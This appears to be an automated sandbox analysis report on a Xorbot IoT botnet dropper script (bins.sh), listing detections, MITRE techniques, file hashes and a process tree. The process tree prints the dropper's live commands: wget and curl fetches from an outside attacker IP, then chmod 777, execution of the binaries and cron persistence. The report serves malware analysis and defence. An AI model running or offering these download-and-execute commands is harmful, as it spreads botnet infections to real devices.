xorbot | 0c1a0ababd6c481377018db4947b0ee4d22d820106e7e8932825ef3dc27d704d

Analysis

max time kernel
149s
max time network
161s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 06:25

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General

Target

bins.sh
Size

10KB
MD5

74e19a07a6f06527a755064e902a5b45
SHA1

fdbb2989f0ce113278b0df08ad6b9fdb2f9240b1
SHA256

0c1a0ababd6c481377018db4947b0ee4d22d820106e7e8932825ef3dc27d704d
SHA512

d25e290d64a454f44d950f75a931a00c482517dae81453675ce54d6ec589ccdaca831d2d459b9992859d94bdcbd95c9fe3d888c002311c17ca851ea2659877a3
SSDEEP

192:UttSrhgGIWhWFWYW/W3WBViarAMMICuxTzyhfH2R9Jb7Exdvb7ExdHtTz0fH2R9/:UttSrhgGIWhWFWYW/W3WB6ICukhfH2R9

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1797) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
687	chmod
700	chmod
723	chmod
751	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	688	bins.sh
/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL	702	bins.sh
/tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy	724	bins.sh
/tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB	752	bins.sh

Renames itself 1 IoCs

pid	Process
753	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.owLNnC	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/945/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/957/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/966/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/12/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/851/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/971/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/999/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1000/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1038/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1050/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/799/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/841/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/886/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/947/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/970/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/796/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/2/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/28/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/772/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/866/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1047/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/802/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/837/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/897/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/902/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/928/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/946/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1024/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/10/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/857/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/880/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/909/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1039/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1058/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/24/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/654/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/807/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/879/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1057/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/4/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/839/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/904/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/932/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/985/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/5/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/834/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/845/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/953/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/824/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/853/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/939/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1006/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/800/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/861/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/873/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/936/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/943/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/956/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1009/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/1027/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/599/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
File opened for reading	/proc/833/cmdline	6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	busybox
File opened for modification	/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL	wget
File opened for modification	/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL	curl
File opened for modification	/tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy	wget
File opened for modification	/tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy	busybox
File opened for modification	/tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB	curl
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	wget
File opened for modification	/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL	busybox
File opened for modification	/tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy	curl
File opened for modification	/tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB	wget
File opened for modification	/tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB	busybox
File opened for modification	/tmp/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H	wget
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:656
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:658
- /usr/bin/wget
  wget http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - Writes file to tmp directory
  PID:660
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - Writes file to tmp directory
  PID:685
- /bin/chmod
  chmod 777 rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  ./rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  PID:688
- /bin/rm
  rm rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  PID:690
- /usr/bin/wget
  wget http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  - Writes file to tmp directory
  PID:691
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:692
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  - Writes file to tmp directory
  PID:697
- /bin/chmod
  chmod 777 bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  ./bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  PID:702
- /bin/rm
  rm bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  PID:704
- /usr/bin/wget
  wget http://37.44.238.88/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:712
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  - Writes file to tmp directory
  PID:720
- /bin/chmod
  chmod 777 zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  ./zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  PID:724
- /bin/rm
  rm zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
  2⤵
  PID:728
- /usr/bin/wget
  wget http://37.44.238.88/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  - Writes file to tmp directory
  PID:729
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod 777 6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  ./6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:752
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:754
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:756
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:758
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:760
- /bin/rm
  rm 6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
  2⤵
  PID:764
- /usr/bin/wget
  wget http://37.44.238.88/bins/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
  2⤵
  - Writes file to tmp directory
  PID:767

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H

Filesize
12KB

MD5
876e85745c32d4dfafd86680e5e45dcb

SHA1
e581145e49c2064825ef7a8887ed3c429b71e443

SHA256
9483385810c699387db05c928b96e607a4035a35926589bdca622a45af5ff399

SHA512
59d7d9c5f36bb300075740cd4f5ebeed3faaa1ff2591a8e3b88cf56f81731989bdc1ac6d2b5832ec0d2ba3b84a9b5fb177fe7e62ff9ad55604279a8ac689cedf

Download Submit
/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/var/spool/cron/crontabs/tmp.owLNnC

Filesize
210B

MD5
a6963f570c3dc7a089adc8b9c5bc585d

SHA1
833bbb05bcfa4877b7c958ed24d7af30c524a85b

SHA256
e7896311c67bdd8ff556504b4d454e14c28f904f23ee532876f884f92fd26549

SHA512
ca675a577e7b75b46d4f9ab648b45943b8ec90e46196a843b13730709761fe255280e70360373cead9711552cce90d0886c13ddabfcf4732c242f62ff3f954b6

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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